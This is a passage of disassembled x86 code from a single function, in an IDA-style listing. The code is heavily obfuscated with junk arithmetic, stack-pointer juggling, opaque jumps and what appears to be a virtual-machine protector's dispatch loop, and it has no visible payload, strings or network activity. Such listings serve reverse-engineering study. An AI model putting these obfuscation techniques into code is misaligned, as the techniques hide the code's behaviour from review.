; ---------------------------------------------------------------------------


loc_59C003:				; CODE XREF: sub_58A891+20D9Fj
		xor	ecx, 47802327h
		sub	edi, ecx
		pop	ecx
		add	edi, 8457Dh
		jmp	loc_5B0BBF
; ---------------------------------------------------------------------------


loc_59C017:				; CODE XREF: sub_58A891+17CB8j
		add	eax, 64E77F8Ah
		push	edx
		mov	edx, 0B0AC675Fh
		jmp	loc_5B07EE
; ---------------------------------------------------------------------------


loc_59C027:				; CODE XREF: sub_58A891+27A30j
		sub	esp, 4
		mov	[esp+12h+var_14+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+12h+var_14+2]
		pop	esp
		push	edi
		push	esi
		push	ebp
		mov	ebp, 1C0C2793h
		mov	esi, ebp
		jmp	loc_59DC48
; ---------------------------------------------------------------------------


loc_59C04A:				; CODE XREF: sub_58A891+18F5Ej
		dec	edx
		jmp	loc_5AA7FC
; ---------------------------------------------------------------------------


loc_59C050:				; CODE XREF: sub_58A891+12731j
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		add	ebp, 4
		push	ebp
		push	[esp+16h+var_14+2]
		pop	ebp
		jmp	loc_5A3439
; ---------------------------------------------------------------------------


loc_59C06F:				; CODE XREF: sub_58A891+1765Dj
		add	ebp, 8324B25Dh
		add	edi, ebp
		pop	ebp
		jmp	loc_59E320
; ---------------------------------------------------------------------------


loc_59C07D:				; CODE XREF: sub_58A891+1AEEBj
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+12h+var_14+2]
		jmp	loc_5A9AC0
; ---------------------------------------------------------------------------


loc_59C090:				; CODE XREF: sub_58A891+1DEC8j
		mov	eax, [esp+12h+var_14+2]
		add	esp, 4
		inc	eax
		shl	eax, 8
		jns	loc_5A32C2
		push	esi
		mov	esi, 3B97142Ah
		jmp	loc_5B1C38
; ---------------------------------------------------------------------------
		and	eax, ebx


loc_59C0B0:				; CODE XREF: sub_58A891+2030Fj
		pop	ebp
		add	[esp+0Eh+var_8+2], ebp
		pop	ebp
		pop	ebx
		push	[esp+6+var_8+2]
		mov	eax, [esp+0Ah+var_C+2]
		add	esp, 4
		push	edi
		jmp	loc_5A141F
; ---------------------------------------------------------------------------


loc_59C0C9:				; CODE XREF: sub_58A891+19368j
		mov	[esp+0Ah+var_C+2], ebp
		not	[esp+0Ah+var_C+2]
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		xor	ebp, 24969D72h
		sub	ebx, ebp
		jmp	loc_5AF355
; ---------------------------------------------------------------------------


loc_59C0E2:				; CODE XREF: sub_58A891+1349Ej
		pop	edi
		jmp	loc_5A2E15
; ---------------------------------------------------------------------------


loc_59C0E8:				; CODE XREF: sub_58A891+14A92j
		jns	loc_5B0965
		shl	ebp, 6
		jmp	loc_5A684F
; ---------------------------------------------------------------------------
		xchg	ebx, [esp+2+var_4+2]
		pop	esp


loc_59C0FA:				; CODE XREF: sub_58A891+24A6Fj
		mov	ebp, 4
		add	esi, ebp
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		push	ebx
		jmp	loc_5AB018
; ---------------------------------------------------------------------------


loc_59C111:				; CODE XREF: sub_58A891+1C6F8j
		push	eax
		mov	eax, 44BA36D9h
		shr	eax, 8
		js	loc_5AE85B
		sub	eax, 0F9DAB93Dh
		jmp	loc_59DE95
; ---------------------------------------------------------------------------


loc_59C12A:				; CODE XREF: sub_58A891+139F4j
		mov	eax, 1C467379h
		mov	edi, 8EEF8DD1h
		sub	edi, eax
		pop	eax
		jmp	loc_5A9925
; ---------------------------------------------------------------------------


loc_59C13C:				; CODE XREF: sub_58A891+16D31j
		xor	eax, ecx
		push	eax
		jmp	loc_5A385E
; ---------------------------------------------------------------------------


loc_59C144:				; CODE XREF: sub_58A891+11F19j
		mov	[esp+2+var_4+2], ecx
		push	eax
		mov	ah, dh
		mov	cl, ah
		pop	eax
		mov	bh, cl
		pop	ecx
		jmp	loc_5A0E32
; ---------------------------------------------------------------------------


loc_59C155:				; CODE XREF: sub_58A891+265E6j
		add	esp, 4
		xor	bl, al
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		jmp	loc_5A82C5
; ---------------------------------------------------------------------------


loc_59C172:				; CODE XREF: sub_58A891+188D5j
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_59DDDF
; ---------------------------------------------------------------------------


loc_59C17B:				; CODE XREF: sub_58A891+25BF4j
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		pop	esi
		add	ebx, eax
		push	ebp
		jmp	loc_5AA4FC
; ---------------------------------------------------------------------------


loc_59C18B:				; CODE XREF: sub_58A891+12BC4j
		add	eax, 2
		sub	esp, 4
		jmp	loc_59D5B3
; ---------------------------------------------------------------------------


loc_59C196:				; CODE XREF: sub_58A891+1C311j
		add	eax, 45332FD6h
		sub	eax, 2E6B67E6h
		add	eax, 9360317h
		sub	eax, ebx
		jmp	loc_5B27F9
; ---------------------------------------------------------------------------


loc_59C1AC:				; CODE XREF: sub_58A891+210D5j
					; sub_58A891+24A55j
		jns	loc_5B03E5
		dec	eax
		jmp	loc_5A4C3F
; ---------------------------------------------------------------------------


loc_59C1B8:				; CODE XREF: sub_58A891+153C3j
		add	esp, 4
		jmp	loc_5AB3C2
; ---------------------------------------------------------------------------


loc_59C1C3:				; CODE XREF: sub_58A891+176F0j
		sub	ebx, 2F456CC8h
		jmp	loc_5A1D87
; ---------------------------------------------------------------------------


loc_59C1CE:				; CODE XREF: sub_58A891+1A013j
		jmp	loc_5ABFFF
; ---------------------------------------------------------------------------


loc_59C1D3:				; CODE XREF: sub_58A891+218A5j
		shl	eax, 2
		jmp	loc_5A32F8
; ---------------------------------------------------------------------------


loc_59C1DB:				; CODE XREF: sub_58A891+224CEj
		xchg	eax, [esp-0Ah+arg_0+2]
		mov	esp, [esp-0Ah+arg_0+2]
		shr	ecx, 0Bh
		push	ebx
		jmp	loc_5A3955
; ---------------------------------------------------------------------------


loc_59C1EA:				; CODE XREF: sub_58A891+1AC43j
		pop	ebp
		jmp	loc_5AD377
; ---------------------------------------------------------------------------


loc_59C1F0:				; CODE XREF: sub_58A891+1A939j
		push	eax
		mov	eax, 1D0F43D5h
		or	eax, 3E317EFBh
		dec	eax
		push	53E7h
		mov	[esp+0], ecx
		mov	ecx, 26E624BFh
		and	eax, ecx
		pop	ecx
		xor	eax, 262624BAh
		add	ebp, 6AAF5A82h
		add	ebp, eax
		jmp	loc_5A01A0
; ---------------------------------------------------------------------------


loc_59C21E:				; CODE XREF: sub_58A891+23FF0j
		mov	eax, 7621225Bh
		add	ecx, 0BEE2F7Dh
		add	ecx, eax
		sub	ecx, 0BEE2F7Dh
		pop	eax
		jmp	loc_59E040
; ---------------------------------------------------------------------------


loc_59C237:				; CODE XREF: sub_58A891+1CB07j
		neg	ecx
		jnb	loc_5B1C27
		shl	ecx, 8
		shl	ecx, 3
		or	ecx, 42BF74FBh
		jnb	loc_5AB311
		sub	ecx, 0BE071FD4h
		push	ecx
		pop	edx
		mov	esi, edi
		and	al, 42h


loc_59C25D:				; CODE XREF: sub_58A891+21D63j
		mov	ebp, [esp-0Ah+arg_0+2]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_59D27A
; ---------------------------------------------------------------------------


loc_59C273:				; CODE XREF: sub_58A891+1C0F8j
		pop	edx
		pop	[esp-0Eh+arg_4+2]
		jmp	loc_59DA65
; ---------------------------------------------------------------------------


loc_59C27C:				; CODE XREF: sub_58A891+1223Bj
					; sub_58A891+20782j
		mov	esi, [esp-12h+arg_8+2]
		add	esp, 4
		pop	[esp-16h+arg_E]
		mov	esp, [esp+0]
		test	cl, al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C293:				; CODE XREF: sub_58A891+1EB45j
		sub	eax, ebx
		pop	ebx
		add	eax, 19137A18h
		add	eax, ebp
		sub	eax, 19137A18h
		push	ebx
		mov	ebx, 7060482h
		jmp	loc_5A5B44
; ---------------------------------------------------------------------------


loc_59C2AD:				; CODE XREF: sub_58A891+136ECj
					; sub_58A891+2075Cj
		mov	edi, 4
		add	ebp, 77A67F5Eh
		jmp	loc_5A0832
; ---------------------------------------------------------------------------


loc_59C2BD:				; CODE XREF: sub_58A891+27CF6j
		add	eax, 4
		xchg	eax, [esp-16h+arg_E]
		pop	esp
		push	dword ptr [esp+0]
		pop	edx
		jmp	loc_5A8AE1
; ---------------------------------------------------------------------------


loc_59C2CF:				; CODE XREF: sub_58A891+1B252j
		push	ebp
		mov	ebp, 6458218Eh
		jmp	loc_5B176E
; ---------------------------------------------------------------------------


loc_59C2DA:				; CODE XREF: sub_58A891+2069Bj
		pop	ebx
		not	ebp
		jmp	loc_5A6460
; ---------------------------------------------------------------------------


loc_59C2E2:				; CODE XREF: sub_58A891+2400Aj
		xor	ebp, 193275FEh
		add	ebp, 4CD05164h
		neg	ebp
		add	ebp, 322E1630h
		inc	ebp
		add	ebp, 9709EE27h
		sub	edi, ebp
		pop	ebp
		jmp	loc_5A3058
; ---------------------------------------------------------------------------


loc_59C305:				; CODE XREF: sub_58A891+1E8AEj
		add	ebx, 56896D91h
		jmp	loc_5AE0A0
; ---------------------------------------------------------------------------


loc_59C310:				; CODE XREF: sub_58A891+18E79j
		pop	edi
		add	edx, edi
		push	esi
		mov	esi, 6AC80AECh
		push	edx
		push	3FA607AAh
		pop	edx
		push	edi
		mov	edi, 6B8D2F7Bh
		add	edx, edi
		pop	edi
		dec	edx
		dec	edx
		sub	edx, 641C322Dh
		and	edx, 61E06AB1h
		sub	edx, 0FA3E9EF3h
		jmp	loc_5A30B5
; ---------------------------------------------------------------------------


loc_59C342:				; CODE XREF: sub_58A891+1E9BDj
		pop	dword ptr [esp+0]
		pop	esp
		mov	[esp+0], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	edi
		push	2
		jmp	loc_5AF4A7
; ---------------------------------------------------------------------------


loc_59C35F:				; CODE XREF: sub_58A891+1B0B1j
		pop	esp
		xchg	esi, [esp-1Eh+arg_18+2]
		mov	esp, [esp-1Eh+arg_18+2]
		mov	word ptr [esp-1Eh+arg_18+2], cx
		movzx	cx, al
		jmp	loc_5A0B04
; ---------------------------------------------------------------------------


loc_59C373:				; CODE XREF: sub_58A891+15897j
		add	esp, 4
		jmp	loc_5ACF00
; ---------------------------------------------------------------------------


loc_59C37E:				; CODE XREF: sub_58A891+2208Fj
					; sub_58A891:loc_5B12E0j
		mov	ch, 98h
		xor	ch, 6Ch
		push	ecx
		not	byte ptr [esp-1Eh+arg_18+3]
		mov	ecx, [esp-1Eh+arg_18+2]
		add	esp, 4
		dec	ch
		not	ch
		push	edx
		mov	dh, 0B3h
		inc	dh
		sub	dh, 12h
		dec	dh
		shl	dh, 4
		push	cx
		mov	cl, 3Eh
		sub	dh, cl
		pop	cx
		sub	ch, dh
		mov	edx, [esp-1Eh+arg_18+2]
		jmp	loc_59FB03
; ---------------------------------------------------------------------------


loc_59C3B4:				; CODE XREF: sub_58A891+1AE68j
		mov	eax, [esp-1Eh+arg_18+2]
		add	esp, 4
		pop	ebx
		xor	dh, bh
		jmp	loc_5AF3E7
; ---------------------------------------------------------------------------


loc_59C3C2:				; CODE XREF: sub_58A891+22209j
		shr	edx, 5
		jp	loc_5A2B65
		xor	edx, 6922421h
		push	edi
		mov	edi, edx
		jmp	loc_5AF6CA
; ---------------------------------------------------------------------------


loc_59C3D9:				; CODE XREF: sub_58A891+20B01j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0], esi
		push	edi
		mov	edi, 5548145Ah
		jmp	loc_5B186B
; ---------------------------------------------------------------------------


loc_59C3F0:				; CODE XREF: sub_58A891+2809Cj
		xor	[esp-1Eh+arg_18+2], eax
		jmp	loc_59EBBF
; ---------------------------------------------------------------------------


loc_59C3F8:				; CODE XREF: sub_58A891+28372j
		mov	esp, [esp-1Eh+arg_18+2]
		push	edx
		push	[esp-1Ah+arg_18+2]
		pop	edx
		pop	dword ptr [esp+0]
		mov	esp, [esp-1Eh+arg_18+2]
		jmp	loc_5A6F4A
; ---------------------------------------------------------------------------


loc_59C40C:				; CODE XREF: sub_58A891+1E024j
		sub	ebx, 36C43A96h
		xor	ebx, 0CAED2E37h
		jmp	loc_5B19F8
; ---------------------------------------------------------------------------


loc_59C41D:				; CODE XREF: sub_58A891+1EF07j
		add	ebx, ebp
		pop	ebp
		jmp	loc_5A998A
; ---------------------------------------------------------------------------


loc_59C425:				; CODE XREF: sub_58A891+1DCFDj
		push	edx
		push	edi
		jmp	loc_5A0B5C
; ---------------------------------------------------------------------------


loc_59C42C:				; CODE XREF: sub_58A891+16085j
		and	edx, 6AF4212Ch
		push	ebx
		mov	ebx, 3F5942C2h
		jmp	loc_59F4BB
; ---------------------------------------------------------------------------


loc_59C43D:				; CODE XREF: sub_58A891+20254j
		mov	ebp, ecx
		push	[esp-16h+arg_E]
		jmp	loc_5B0599
; ---------------------------------------------------------------------------


loc_59C447:				; CODE XREF: sub_58A891+20077j
		push	ecx
		push	[esp-0Eh+arg_8+2]
		push	[esp-0Ah+arg_0+2]
		pop	ecx
		add	esp, 4
		pop	[esp-0Eh+arg_4+2]
		pop	esp
		push	124Eh
		mov	[esp-12h+arg_8+2], edi
		push	80h
		mov	edi, [esp-0Eh+arg_4+2]
		sub	esp, 4
		mov	[esp-0Ah+arg_0+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp+0]
		push	eax
		jmp	loc_5AC1DD
; ---------------------------------------------------------------------------


loc_59C486:				; CODE XREF: sub_58A891+1BFB9j
		mov	esp, [esp+0]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	[esp+2+var_4+2]
		push	[esp+6+var_8+2]
		jmp	loc_5A2B5C
; ---------------------------------------------------------------------------


loc_59C49C:				; CODE XREF: sub_58A891+1210Fj
		sub	eax, 50D488D5h
		push	edx
		jmp	loc_5AB901
; ---------------------------------------------------------------------------


loc_59C4A7:				; CODE XREF: sub_58A891+1C5A7j
		or	ebp, 56BE0A8Dh
		add	ebp, 0A841D423h
		sub	eax, 479309D6h
		add	eax, ebp
		add	eax, 479309D6h
		mov	ebp, [esp+0Eh+var_10+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_5AC8A2
; ---------------------------------------------------------------------------


loc_59C4D1:				; CODE XREF: sub_58A891+20D6Cj
		add	edi, ebp
		mov	ebp, [esp+16h+var_18+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+16h+var_18+2], eax
		jmp	loc_5A76CA
; ---------------------------------------------------------------------------


loc_59C4E7:				; CODE XREF: sub_58A891+186C1j
		or	ecx, 6FC91465h
		jnz	loc_5AF080
		jmp	loc_5A5F8C
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+1Ah+var_1C+2], esp
		xor	al, 4Eh
		push	edi


loc_59C501:				; CODE XREF: sub_58A891+27F09j
		mov	[esp+1Eh+var_20+2], ebx
		mov	ebx, 3DF16557h
		push	eax
		jmp	loc_5B1A37
; ---------------------------------------------------------------------------


loc_59C50F:				; CODE XREF: sub_58A891+1DC10j
		add	ebx, 0A3D711Dh
		add	ebx, edi
		sub	ebx, 0A3D711Dh
		pop	edi
		xchg	ebx, [esp+1Eh+var_20+2]
		jmp	loc_5A88FE
; ---------------------------------------------------------------------------


loc_59C526:				; CODE XREF: sub_58A891+1A327j
		xor	ebp, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], ebp
		xor	ebp, [esp+1Eh+var_20+2]
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C535:				; CODE XREF: sub_58A891+154C0j
		shl	edi, 2
		or	edi, 6BEB0188h
		sub	esp, 4
		jmp	loc_59E930
; ---------------------------------------------------------------------------


loc_59C546:				; CODE XREF: sub_58A891+147EAj
		sub	esp, 4
		mov	[esp+22h+var_24+2], eax
		push	edx
		mov	dh, 4
		jmp	loc_5A3D48
; ---------------------------------------------------------------------------


loc_59C554:				; CODE XREF: sub_58A891+1A538j
		mov	edi, 68546C66h
		mov	esi, edi
		mov	edi, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_5A6F38
; ---------------------------------------------------------------------------


loc_59C569:				; CODE XREF: sub_58A891+1F98Dj
		mov	[esp+22h+var_24+2], ebp
		push	esp
		jmp	loc_5A3943
; ---------------------------------------------------------------------------


loc_59C572:				; CODE XREF: sub_58A891+13705j
		sub	ecx, 26276870h
		add	ecx, ebx
		push	edx
		mov	edx, 26276870h
		add	ecx, edx
		pop	edx
		pop	ebx
		push	ebp
		jmp	loc_5B1FB0
; ---------------------------------------------------------------------------


loc_59C58A:				; CODE XREF: sub_58A891+17C4Ej
		push	ebp
		sub	[esp+2Ah+var_2C+2], 63E134ECh
		pop	ebx
		jmp	loc_5AFB4C
; ---------------------------------------------------------------------------


loc_59C598:				; CODE XREF: sub_58A891+1A884j
		add	esi, ebp
		sub	esi, 2B5D0265h
		pop	ebp
		push	ecx
		jmp	loc_5A7BCF
; ---------------------------------------------------------------------------


loc_59C5A7:				; CODE XREF: sub_58A891+22579j
		mov	ch, 8Ch
		push	ebx
		jmp	loc_5AE93F
; ---------------------------------------------------------------------------


loc_59C5AF:				; CODE XREF: sub_58A891+13003j
		xor	esi, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		and	byte ptr [esp+2Ah+var_2C+2], al
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C5BE:				; CODE XREF: sub_58A891+16276j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C5C3:				; CODE XREF: sub_58A891+1275Cj
		push	edx
		mov	edx, 27902BA7h
		add	ecx, edx
		pop	edx
		jmp	loc_5A18EE
; ---------------------------------------------------------------------------
		mov	eax, [esp+2Eh+var_30+2]
		push	esi
		push	esp
		jmp	loc_5A70BB
; ---------------------------------------------------------------------------


loc_59C5DB:				; CODE XREF: sub_58A891+26E75j
		add	edi, 4
		xchg	edi, [esp+36h+var_38+2]
		mov	esp, [esp+36h+var_38+2]
		mov	edx, [esp+36h+var_38+2]
		add	esp, 4
		push	70CDh
		mov	[esp+36h+var_38+2], edx
		mov	edx, esp
		push	76Fh
		mov	[esp+3Ah+var_3C+2], eax
		push	8C9h
		mov	[esp+3Eh+var_40+2], ebx
		push	eax
		mov	eax, 65ED45CEh
		or	eax, 27A67EFCh
		or	eax, 12A36EE6h
		js	loc_5A075D
		and	eax, 3C2E3D05h
		jb	loc_59FF34
		push	ecx
		mov	ecx, 0F9DCE80Fh
		add	eax, ecx
		pop	ecx
		mov	ebx, eax
		jmp	loc_5B16B7
; ---------------------------------------------------------------------------


loc_59C635:				; CODE XREF: sub_58A891+1DF4Dj
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_59F35B
; ---------------------------------------------------------------------------


loc_59C646:				; CODE XREF: sub_58A891+16AFDj
		pop	esp
		mov	[esp+0], esi
		push	0A9Ch
		mov	[esp+46h+var_46], edi
		mov	edi, 2
		jmp	loc_5A2440
; ---------------------------------------------------------------------------


loc_59C65C:				; CODE XREF: sub_58A891+1AD7Dj
		mov	ebx, 1C045176h
		sub	ebx, 62D22E7Fh
		inc	ebx
		jmp	loc_5A16EA
; ---------------------------------------------------------------------------


loc_59C66D:				; CODE XREF: sub_58A891+25396j
		push	0C6Ch
		mov	[esp+4Ah+var_4A], ebp
		push	4
		mov	ebp, [esp+4Eh+var_4E]
		add	esp, 4
		add	esi, ebp
		push	[esp+4Ah+var_4A]
		jmp	loc_5A78D3
; ---------------------------------------------------------------------------


loc_59C68D:				; CODE XREF: sub_58A891+1930Cj
		xor	ebx, [esp+4Eh+var_4E]
		xor	[esp+4Eh+var_4E], ebx
		xor	ebx, [esp+4Eh+var_4E]
		pop	esp
		pop	[esp+4Ah+var_4A]
		mov	esp, [esp+46h+var_46]
		ror	byte ptr [esp+46h+var_46], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C6A6:				; CODE XREF: sub_58A891+18C75j
		pop	bx
		xor	ah, 43h
		jmp	loc_5A293B
; ---------------------------------------------------------------------------


loc_59C6B0:				; CODE XREF: sub_58A891+12A47j
		push	1B0Dh
		mov	[esp+4Ch+var_4E+2], esi
		push	8FF69F80h
		pop	esi
		push	edx
		mov	edx, 7DF0A06h
		add	eax, edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_5AEDBB
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+4Ch+var_4E+2]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5A1113
; ---------------------------------------------------------------------------


loc_59C6DD:				; CODE XREF: sub_58A891+1A0CFj
		mov	ecx, [esp]
		add	esp, 4
		add	edi, ebx
		push	esi
		mov	esi, 4F2652ABh
		neg	esi
		and	esi, 73726B60h
		not	esi
		not	esi
		shr	esi, 8
		xor	esi, 2133FCh
		sub	edi, esi
		pop	esi
		pop	ebx
		jmp	loc_59C725
; ---------------------------------------------------------------------------


loc_59C70C:				; CODE XREF: sub_58A891+21CE1j
		push	edx
		jmp	loc_5AAB91
; ---------------------------------------------------------------------------


loc_59C712:				; CODE XREF: sub_58A891+1EDF9j
					; sub_58A891+24309j ...
		add	edi, 4
		sub	edi, 4
		push	edi
		push	[esp+50h+var_4E+2]
		jmp	loc_5A138A
; ---------------------------------------------------------------------------


loc_59C725:				; CODE XREF: sub_58A891+11E76j
		add	edi, 2
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], edi
		push	[esp+4Ch+var_4A+2]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5ADDD0
; ---------------------------------------------------------------------------


loc_59C749:				; CODE XREF: sub_58A891+23159j
		mov	eax, 7F3A6F2Dh
		jmp	loc_5A5D37
; ---------------------------------------------------------------------------


loc_59C753:				; CODE XREF: sub_58A891+1C51Ej
		mov	[esp+54h+var_54], edx
		push	eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_59C75D:				; CODE XREF: sub_58A891+1B5EEj
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		add	edi, 4
		jmp	loc_59FDA5
; ---------------------------------------------------------------------------


loc_59C771:				; CODE XREF: sub_58A891+15849j
		neg	edx
		push	edi
		jmp	loc_5A95E4
; ---------------------------------------------------------------------------


loc_59C779:				; CODE XREF: sub_58A891+1D943j
		or	eax, eax
		jz	loc_5AE809
		push	dword ptr [edi+1Ch]
		push	[esp+60h+var_60]
		pop	ecx
		push	38DAh
		mov	[esp+64h+var_64], ecx
		mov	ecx, esp
		jmp	loc_5B28CB
; ---------------------------------------------------------------------------


loc_59C797:				; CODE XREF: sub_58A891+21649j
		mov	bh, 42h
		and	bh, 0D2h
		or	bh, 66h
		push	dx
		mov	dh, bh
		not	dh
		push	71E7h
		jmp	loc_59C144
; ---------------------------------------------------------------------------


loc_59C7AF:				; CODE XREF: sub_58A891+12275j
		mov	ebx, 22D06CB9h
		dec	ebx
		or	ebx, 4C6B065Bh
		jmp	loc_5A2FFA
; ---------------------------------------------------------------------------


loc_59C7C0:				; CODE XREF: sub_58A891+14144j
		add	esi, ebx
		pop	ebx
		jmp	loc_5AA820
; ---------------------------------------------------------------------------


loc_59C7C8:				; CODE XREF: sub_58A891:loc_59CA00j
					; sub_58A891+13271j
		sub	bl, 61h
		xor	ch, bl
		mov	bx, word ptr [esp+66h+var_68+2]
		jmp	loc_5A786B
; ---------------------------------------------------------------------------


loc_59C7D6:				; CODE XREF: sub_58A891+1D76Cj
		pop	edi
		push	ebp
		mov	ebp, 771BE6FCh
		sub	eax, 520C31BAh
		add	eax, ebp
		push	ecx
		push	ebx
		push	263E647Dh
		pop	ebx
		xor	ebx, 59057BA3h
		mov	ecx, ebx
		pop	ebx
		and	ecx, 5FB32FC1h
		push	esi
		mov	esi, 294736AEh
		inc	esi
		or	esi, 14567BC2h
		xor	esi, 59396F05h
		xor	ecx, esi
		pop	esi
		xor	ecx, 364708EEh
		js	loc_5B1155
		neg	ecx
		jg	loc_5A701E
		jmp	loc_5AE201
; ---------------------------------------------------------------------------


loc_59C82A:				; CODE XREF: sub_58A891+28621j
		mov	edi, 16AE7C3Eh
		sub	edi, 0FFFFFFFFh
		sub	edi, 19F7583Fh
		push	edi
		xchg	esi, [esp+6Eh+var_70+2]
		not	esi
		xchg	esi, [esp+6Eh+var_70+2]
		pop	edi
		add	edi, 1
		add	edi, 23740ADFh
		add	edi, 415359BAh
		mov	ebx, edi
		pop	edi
		add	ebx, 6402C11h
		sub	ebp, 452A5237h
		sub	ebp, ebx
		jmp	loc_5A4A52
; ---------------------------------------------------------------------------


loc_59C867:				; CODE XREF: sub_58A891+17C8Bj
		add	ebx, 4
		xchg	ebx, [esp+66h+var_68+2]
		jmp	loc_5AED10
; ---------------------------------------------------------------------------


loc_59C875:				; CODE XREF: sub_58A891+22DE4j
		mov	ebp, 2
		add	ecx, 5B441F8Fh
		add	ecx, ebp
		sub	ecx, 5B441F8Fh
		push	[esp+66h+var_68+2]
		pop	ebp
		push	esi
		mov	esi, esp
		push	ebp
		push	ecx
		mov	ecx, 6A060E1Ah
		shr	ecx, 1
		jmp	loc_5ABAC7
; ---------------------------------------------------------------------------


loc_59C89D:				; CODE XREF: sub_58A891+1AECCj
					; sub_58A891+27D81j
		sub	esp, 4
		jmp	loc_5B0A27
; ---------------------------------------------------------------------------


loc_59C8A8:				; CODE XREF: sub_58A891+142A3j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		jmp	loc_5AE7F2
; ---------------------------------------------------------------------------


loc_59C8C2:				; CODE XREF: sub_58A891+2456Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp+7Eh+var_7E], edx
		jmp	loc_5AE26B
; ---------------------------------------------------------------------------


loc_59C8D9:				; CODE XREF: sub_58A891+229B5j
		push	edx
		xor	[esp+82h+var_82], 34721080h
		pop	ebx
		jmp	loc_5A1531
; ---------------------------------------------------------------------------


loc_59C8E7:				; CODE XREF: sub_58A891+166C6j
		mov	[esp+7Eh+var_7E], ebp
		mov	ebp, 4
		push	edx
		mov	edx, 39786FEEh
		sub	ecx, edx
		pop	edx
		add	ecx, ebp
		push	ebx
		jmp	loc_5A97AC
; ---------------------------------------------------------------------------


loc_59C900:				; CODE XREF: sub_58A891+1BF66j
		push	edi
		mov	edi, 16B87027h
		jmp	loc_59CEE8
; ---------------------------------------------------------------------------


loc_59C90B:				; CODE XREF: sub_58A891+1D23Bj
		mov	ecx, 94B7CA7h
		xor	esi, ecx
		pop	ecx
		shl	esi, 5
		add	esi, 31462A00h
		not	esi
		jmp	loc_59FBC6
; ---------------------------------------------------------------------------


loc_59C923:				; CODE XREF: sub_58A891+231CBj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A6AD5
; ---------------------------------------------------------------------------


loc_59C936:				; CODE XREF: sub_58A891+1D81Aj
		mov	ebp, 15AA5DD1h
		push	ebx
		mov	ebx, 5ECC5F92h
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 62BE4A56h
		sub	ebp, 5192761Dh
		and	ebp, 5E4D76EEh
		or	ebp, 6B5E5BA5h
		xor	ebp, 0D54F349Dh
		jmp	loc_5B172B
; ---------------------------------------------------------------------------


loc_59C967:				; CODE XREF: sub_58A891+1BA4Dj
		shl	edi, 5
		xor	edi, 503265D6h
		jmp	loc_5A6EFE
; ---------------------------------------------------------------------------


loc_59C975:				; CODE XREF: sub_58A891+12A89j
		xor	eax, 793C7686h
		push	eax
		jmp	loc_5A94C1
; ---------------------------------------------------------------------------


loc_59C980:				; CODE XREF: sub_58A891+226FDj
		add	bh, 48h
		sub	bh, al
		sub	bh, 48h
		add	bh, 7Ah
		push	edx
		mov	dh, 0D6h
		jmp	loc_5AB223
; ---------------------------------------------------------------------------


loc_59C993:				; CODE XREF: sub_58A891+1808Cj
		push	ebx
		jmp	loc_59FB8F
; ---------------------------------------------------------------------------


loc_59C999:				; CODE XREF: sub_58A891+16673j
		mov	eax, 3F445A9Eh
		neg	eax
		jns	loc_59C49C
		sub	eax, 50D488D5h
		push	edx
		jmp	loc_5A3B5D
; ---------------------------------------------------------------------------


loc_59C9B1:				; CODE XREF: sub_58A891+1EC23j
		xor	ecx, eax
		mov	eax, [esp+92h+var_92]
		add	esp, 4
		push	1FE6h
		jmp	loc_5A5EEF
; ---------------------------------------------------------------------------


loc_59C9C6:				; CODE XREF: sub_58A891+20343j
		pop	ebx
		jmp	loc_5B1524
; ---------------------------------------------------------------------------


loc_59C9CC:				; CODE XREF: sub_58A891+17F02j
		mov	edi, 171F0487h
		shr	edi, 4
		neg	edi
		xor	edi, 0FE8E0FBCh
		jmp	loc_59DD4F
; ---------------------------------------------------------------------------


loc_59C9E1:				; CODE XREF: sub_58A891+191A9j
		pop	esi
		jmp	loc_5A1127
; ---------------------------------------------------------------------------


loc_59C9E7:				; CODE XREF: sub_58A891+136ACj
		mov	ecx, edi
		pop	edi
		add	ebx, ecx
		mov	ecx, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_5A9BE5
; ---------------------------------------------------------------------------


loc_59C9FA:				; CODE XREF: sub_58A891+1C94Dj
		push	ebp
		jmp	loc_5AC57C
; ---------------------------------------------------------------------------


